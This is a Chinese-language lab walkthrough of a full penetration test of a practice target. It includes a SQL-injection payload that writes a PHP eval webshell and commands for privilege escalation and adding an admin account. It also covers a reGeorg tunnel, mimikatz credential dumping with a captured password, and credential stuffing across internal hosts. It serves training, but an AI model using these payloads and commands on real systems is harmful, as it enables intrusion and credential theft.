前言:
在拿到靶机时,我们最先需要做的是信息收集,包括不限于:C段扫描,端口探测,指纹识别,版本探测等。其次就是 漏洞挖掘、漏洞利用、提权、维持权限、日志清理、留下后门。
以上就是渗透的基本流程。
这里以"辛巴猫舍"为靶机,开展一次由外到内的渗透。
正文:
1、SQL注入
在URL中输入
html
http://gognj2dm.aqlab.cn/?id=1%20and%201=2
后报错了,并回显了路径。证明存在SQL注入漏洞,于是进一步进行测试。
我们通过可以通过into dumpfile
指令将webshell写入服务器,在浏览器URL输入命令如下:
html
http://gognj2dm.aqlab.cn/?id=1 union select 1,'<?php eval($_REQUEST[8])?>' into dumpfile 'C:/phpStudy/WWW/r.php'
该语句的意思是:通过联合查询,在数据库中查询数据1
和<?php eval($_REQUEST[8]) ?>
,并将结果导出到C:/phpStudy/WWW/
中的r.php
文件中
<?php eval($_REQUEST[8]) ?>
是字符串,所以要加单引号- 绝对路径中用反斜杠
into dumpfile
后面的路径也需要加上单引号,因为这是一个文件
2、路径访问
用蚁键访问路径
html
http://gognj2dm.aqlab.cn/r.php
3、用户提权
进入服务器之后,运行cmd,输入whoami
,获得自己的用户为test
输入net user
查看用户情况
输入net localgroup administrators
查看管理员用户组,发现没有test
输入systeminfo
发现目标服务器的系统为Microsoft Windows Server 2008 R2 Standard ,内网的IP地址为:10.0.1.4
为了远程该IP,我们就需要提权,使得自己可以完全的控制目标服务器。
可以从补丁层面远程渗透,但这里不展开讲。
把烂土豆、猕猴桃程序通过蚁剑上传到目标服务器,烂土豆程序上传前先改名为re.exe
,然后终端输入指令:re.exe -p "whoami"
,获得系统权限。
为了远程靶机服务器,需要自己建立一个用户,然后看对方是否开启3389。
通过输入命令:
html
re.exe -p "net user xxx a1s2d3-+ /add"
创建用户xxx。
接着,赋予xxx系统用户权限:r
html
e.exe -p "net localgroup administrators xxx /add"
可以通过net user
验证一下是否建立成功
通过系统命令查看是否开启3389端口:re.exe -p "net -ano"
,发现确实开始3389
4、远程连接
通过mstsc远程桌面连接,发现是windows server 2003 R2的机器,和目标主机不一致。
原因是我们访问的网站:http://gognj2dm.aqlab.cn
对应IP59.63.166.70
的3389端口不是目标服务器的端口,59.63.166.70:3389映射了该2003R2的服务器的3389端口,那么我们如果要访问目标靶机的3389的话,可以使用内网的其他服务器来进行访问
5、隧道搭建
将reGeorg中的tunnel.php
通过蚁剑传入目标服务器,改名为333.php
然后在URL中输入一下,看有没有回显
下面使用命令开启代理regeorg程序,此脚本为python2开发的脚本,使用需要安装python2运行,命令为:
html
python reGeorgSocksProxy.py -l 127.0.0.1 -p 10086 -u http://gognj2dm.aqlab.cn/333.php
- -p 设置10086监听端口
- -l设置本地监听地址
- -u 设置目标来源
这里我卡了好就,因为这个脚本需要python 2的第三方库,下了半天没下载好,最后在朋友的帮助下解决了。
接着在本地电脑安装proxifier汉化版,设置代理规则,设置为本地mstsc.exe
程序产生的通信数据通过127.0.0.1:10086
端口进行传输
打开本地mstsc远程桌面,连接的服务器改为上面我们获取到的内网地址10.0.1.4
,输入我们设置的账号密码,进入目标服务器的远程桌面
5、提权及撞库
在目标服务器上,管理员权限运行猕猴桃程序。
输入log
开启日志,输入privilege::debug
进行提权,输入sekurlsa::logonpasswords
抓取登录该主机的用户名及密码。发现管理员组用户名:administrator,密码:woshifengge1^1^.
然后在本地cmd中,输入 arp-a
对内网IP信息进行收集
通过简单的内网ip收集得到10.0.1.1、10.0.1.3、10.0.1.5、10.0.1.6、10.0.1.8
五个ip,由此依次尝试撞库。
最后终于在10.0.1.8
IP成功登录。得到我们里面放的flag。